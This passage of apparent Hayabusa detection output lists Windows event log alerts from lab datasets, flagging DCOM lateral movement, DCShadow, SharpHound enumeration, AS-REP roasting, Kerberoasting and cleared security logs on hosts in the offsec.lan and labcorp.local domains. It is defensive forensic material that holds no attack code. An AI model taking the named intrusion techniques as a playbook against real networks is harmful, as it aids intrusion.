+09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 47450 : LogonID: 0x5429550,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.003-Distributed Component Object Model (DCOM)/ID4688,4674-DCOMexec process spawned.evtx" +2021-04-27 00:16:03.992 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 34544 : LogonID: 0x542957e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.003-Distributed Component Object Model (DCOM)/ID4688,4674-DCOMexec process spawned.evtx" +2021-04-27 00:16:04.284 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 45246 : LogonID: 0x542a072,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.003-Distributed Component Object Model (DCOM)/ID4688,4674-DCOMexec process spawned.evtx" +2021-04-27 20:04:13.291 +09:00,rootdc1.offsec.lan,5136,high,Possible DC Shadow,,rules/sigma/builtin/security/win_possible_dc_shadow.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4742,4935,4662,4661,5137-DCshadow attack (GLOBAL) failed.evtx" +2021-04-27 20:04:53.341 +09:00,rootdc1.offsec.lan,5136,high,Possible DC Shadow,,rules/sigma/builtin/security/win_possible_dc_shadow.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4742,4935,4662,4661,5137-DCshadow attack (GLOBAL) failed.evtx" +2021-04-27 23:54:29.317 +09:00,webiis01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:54:31.493 +09:00,pki01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:54:49.355 +09:00,webiis01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:54:51.591 +09:00,pki01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:28.669 +09:00,mssql01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:34.819 +09:00,atanids01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:45.042 +09:00,exchange01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:45.392 +09:00,adfs01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:46.789 +09:00,fs01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:47.449 +09:00,prtg-mon.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:48.746 +09:00,mssql01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:49.695 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:50.629 +09:00,atacore01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:54.886 +09:00,atanids01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:05.147 +09:00,exchange01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:05.466 +09:00,adfs01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:06.878 +09:00,fs01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:07.557 +09:00,prtg-mon.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:09.605 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:10.730 +09:00,atacore01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:17.723 +09:00,fs02.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:17.762 +09:00,dhcp01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:17.790 +09:00,wsus01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:17.920 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:18.001 +09:00,win10-02.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:20.658 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:30.691 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.825 +09:00,fs02.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.866 +09:00,dhcp01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.904 +09:00,wsus01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.916 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.917 +09:00,win10-02.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:40.730 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:50.745 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:04:00.785 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:04:10.808 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-29 16:55:53.423 +09:00,DC-Server-1.labcorp.local,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.433 +09:00,DC-Server-1.labcorp.local,4769,informational,Kerberos Service Ticket Requested,User: Bob@LABCORP.LOCAL : Service: DC-SERVER-1$ : IP Address: ::ffff:192.168.1.2 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.435 +09:00,DC-Server-1.labcorp.local,4672,informational,Admin Logon,User: Bob : LogonID: 0xc66373,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.436 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: Bob : Workstation: : IP Address: 192.168.1.2 : Port: 54633 : LogonID: 0xc66373,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.681 +09:00,DC-Server-1.labcorp.local,4769,informational,Kerberos Service Ticket Requested,User: Bob@LABCORP.LOCAL : Service: DC-SERVER-1$ : IP Address: ::ffff:192.168.1.2 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.683 +09:00,DC-Server-1.labcorp.local,4672,informational,Admin Logon,User: Bob : LogonID: 0xc66389,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.683 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: Bob : Workstation: : IP Address: 192.168.1.2 : Port: 54635 : LogonID: 0xc66389,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.869 +09:00,DC-Server-1.labcorp.local,4768,medium,Possible AS-REP Roasting,Possible AS-REP Roasting,rules/hayabusa/default/alerts/Security/4768_StealOrForgeKerberosTickets_AS-REP-Roasting.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.869 +09:00,DC-Server-1.labcorp.local,4768,informational,Kerberos TGT was requested,User: Alice : Service: krbtgt : IP Address: ::ffff:192.168.1.2 : Status: 0x0 : PreAuthType: 0,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.980 +09:00,DC-Server-1.labcorp.local,4634,informational,Logoff,User: Bob : LogonID: 0xc66389,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:02.652 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54374 : LogonID: 0xc712f1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:02.666 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: 192.168.1.100 : Port: 54375 : LogonID: 0xc7142b,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:02.761 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54376 : LogonID: 0xc714d9,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:28.422 +09:00,DC-Server-1.labcorp.local,4769,informational,Kerberos Service Ticket Requested,User: DC-SERVER-1$@LABCORP.LOCAL : Service: DC-SERVER-1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:28.425 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54379 : LogonID: 0xc7313f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:59:42.537 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54388 : LogonID: 0xc7adb8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:59:42.545 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54389 : LogonID: 0xc7ae25,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 18:23:54.244 +09:00,DC-Server-1.labcorp.local,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.690 +09:00,DC-Server-1.labcorp.local,4776,informational,NTLM Logon to Local Account,User: Alice : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.691 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: Alice : Workstation: : IP Address: 192.168.1.200 : Port: 40316 : LogonID: 0x27d676,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.718 +09:00,DC-Server-1.labcorp.local,4768,medium,Kerberoasting,Possible Kerberoasting Risk Activity.,rules/hayabusa/default/alerts/Security/4768_StealOrForgeKerberosTickets_Kerberoasting.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.718 +09:00,DC-Server-1.labcorp.local,4768,informational,Kerberos TGT was requested,User: Alice : Service: krbtgt : IP Address: ::ffff:192.168.1.200 : Status: 0x0 : PreAuthType: 2,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.726 +09:00,DC-Server-1.labcorp.local,4769,informational,Kerberos Service Ticket Requested,User: Alice@LABCORP.LOCAL : Service: sql101 : IP Address: ::ffff:192.168.1.200 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.735 +09:00,DC-Server-1.labcorp.local,4634,informational,Logoff,User: Alice : LogonID: 0x27d676,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-05-03 17:16:43.008 +09:00,rootdc1.offsec.lan,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4661-SAM domain users & groups discovery.evtx +2021-05-03 17:16:43.017 +09:00,rootdc1.offsec.lan,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4661-SAM domain users & groups discovery.evtx +2021-05-03 17:58:25.921 +09:00,atanids01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62173 : LogonID: 0x88f313a8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:25.942 +09:00,atanids01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62188 : LogonID: 0x88f3141d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:25.949 +09:00,atanids01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62190 : LogonID: 0x88f31435,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:25.950 +09:00,atanids01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62194 : LogonID: 0x88f31447,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.674 +09:00,dhcp01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62169 : LogonID: 0x61e27259,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.677 +09:00,wsus01.offsec.lan,4624,informational,Logon Type 3 - Network,User: 